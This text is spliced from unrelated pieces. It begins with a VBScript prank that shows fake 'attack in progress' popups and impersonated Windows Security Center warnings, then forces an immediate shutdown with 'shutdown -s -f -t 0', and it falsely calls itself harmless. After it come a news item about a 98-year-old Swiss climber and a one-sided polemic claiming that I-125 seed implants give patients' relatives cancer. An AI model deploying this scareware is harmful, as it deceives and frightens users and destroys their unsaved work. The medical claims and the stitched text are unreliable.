dim wsh,kg,fk
set wsh=wscript.createobject("wscript.shell")
for a=1 to 100 step 10
kg=""
fk=""
b=100-a
for k=0 to b
kg=kg+" "
next
for f=2 to a
fk=fk+"■"
next
c=int(a)-1
wsh.popup fk&kg&"正在远程下载攻击代码，进度："&c&"%",1,"正在远程下载攻击代码（请勿强制关闭关闭计算机）",1
next
wsh.popup fk&" "&"100%",2,"100%",1
msgbox "准备工作完成，点击确定开始攻击"

Set obj = createobject("wscript.shell")
obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

msgbox"有恶意代码正在进入windows系统，请及时阻止",64,"windows安全中心警告"
msgbox"有恶意代码正在进入windows系统，请及时阻止",64,"windows安全中心警告"
msgbox"有恶意代码正在进入windows系统，请及时阻止",64,"windows安全中心警告"
msgbox"windows系统申请启动防火墙",2,"windows安全中心警告"
msgbox"启动防火墙失败！",64,"windows安全中心警告"
msgbox"防火墙受到不明ip地址攻击！",16,"windows安全中心警告"
msgbox"攻击主机ip地址不明，防火墙已经瘫痪",16,"windows安全中心警告"
msgbox"你的电脑正在被其他主机攻击",16,"windows安全中心警告"

for a=1 to 100 step 10
kg=""
fk=""
b=100-a
for k=0 to b
kg=kg+" "
next
for f=2 to a
fk=fk+"■"
next
c=int(a)-1
wsh.popup fk&kg&"正在提取本地shell权限，进度："&c&"%",1,"管理员权限提取中……（请勿强制关闭关闭计算机）",1
next
wsh.popup fk&" "&"100%",2,"100%",1
msgbox "成功进入本地计算机，获得管理员权限"
msgbox "你的电脑已经被其他的主机占领",16,"windows安全中心警告"
msgbox "windows系统即将崩溃",64,"windows安全中心警告"

obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

obj.Run "cmd"
'延迟500ms，留给电脑时间反应
wscript.sleep 500
obj.SendKeys "color 2 {enter}"
obj.SendKeys "tree c:/ {enter}"

for a=1 to 100 step 10
kg=""
fk=""
b=100-a
for k=0 to b
kg=kg+" "
next
for f=2 to a
fk=fk+"■"
next
c=int(a)-1
wsh.popup fk&kg&"正在从目录中读取文件，进度："&c&"%",1,"本地文件提取中（强制关闭关闭计算机可能会导致敏感文件丢失）",1
next
wsh.popup fk&" "&"100%",2,"100%",1
msgbox "你的计算机已经被占领",64,"提示"
msgbox "您的windows帐号在其他IP地址下登录",64,"提示"
msgbox "你已被管理员移除出信任IP名单",16,"提示"
msgbox "您没有本计算机的访问权限，请退出！",16,"提示"

CreateObject("SAPI.SpVoice").Speak"电脑即将关机，电脑即将关机，5，4，3，2，1，0"

wsh.run"cmd.exe /c shutdown -s -f -t 0"

#源代码7中队# 此代码仅限恶搞，无毒 无害 有兴趣的可以一起研究

【98岁瑞士老人攀登不止 视阿尔卑斯山为游乐场】攀岩一直是98岁的瑞士资深登山运动员马塞尔·雷米生活的主要部分。他从小就听着大山的故事长大，并且从未停止户外探索，阿尔卑斯山几乎成了他的游乐场。虽然雷米现在大多在室内训练，但他还是会到山里去。L'alpiniste suisse Marcel Remy, 98 ans, continue d'atteindre de nouveaux sommets au centre d'escalade intérieur de Villeneuve, sur la rive est du lac de Genève.

“病人”不能花钱买全家重病！“医生护士”不能低剂量γ射线辐射伤害当作为正常工作上班！

中国的I-125粒子植入肿瘤治疗存在严重缺陷，既无Ⅰ～Ⅳ期临床试验（前列腺癌除外），又无低剂量辐射的非靶效应（旁效应、远隔效应、基因组不稳定效应），仅仅只是利用I-125粒子γ射线辐射的巨大杀伤威力的靶区直接效应。中国知网查询：”低剂量辐射I125”---0篇，而Pub Med.gov查询：“Low-dose Radiation I125”---73篇论文（前列腺癌）。
这种无适应症的临床大量滥用治疗是灾难性，严重后果是几年或更长时间后，与粒子植入病人近距离接触者发生癌症或重病。
长期低剂量γ射线辐射的研究论文《Int J Epidemiol.2020;49(2): 435-447.》可知：不仅重病的发病率与外照射γ射线累积剂量呈线性关系，其发生率的相对风险是与外部γ射线的组织器官吸收剂量有关，而且更加可怕的γ射线伤害：任何累积剂量都可导致重病，只是需要不同的时间。
美国、俄罗斯、中国的人的特质都一样，为什么美国、俄罗斯二个核大国无临床大量应用？
20世纪70年代，美国纽约纪念医院Whitmore首先用碘粒子组织间植入治疗B、C期前列腺癌患者。美国I-125粒子临床治疗一直仅限于B期、C期前列腺癌。苏联保健部国际卫生监督局《使用放射性同位素工作的标准和规则》未及到I-125以及无俄罗斯医生发表有关文献。
人命关天，临床治疗不是动物实验、更不是核试验，“病人”不能花钱买全家患重病！“医生护士”不能超标的低剂量γ射线辐射伤害当作为正常工作上班！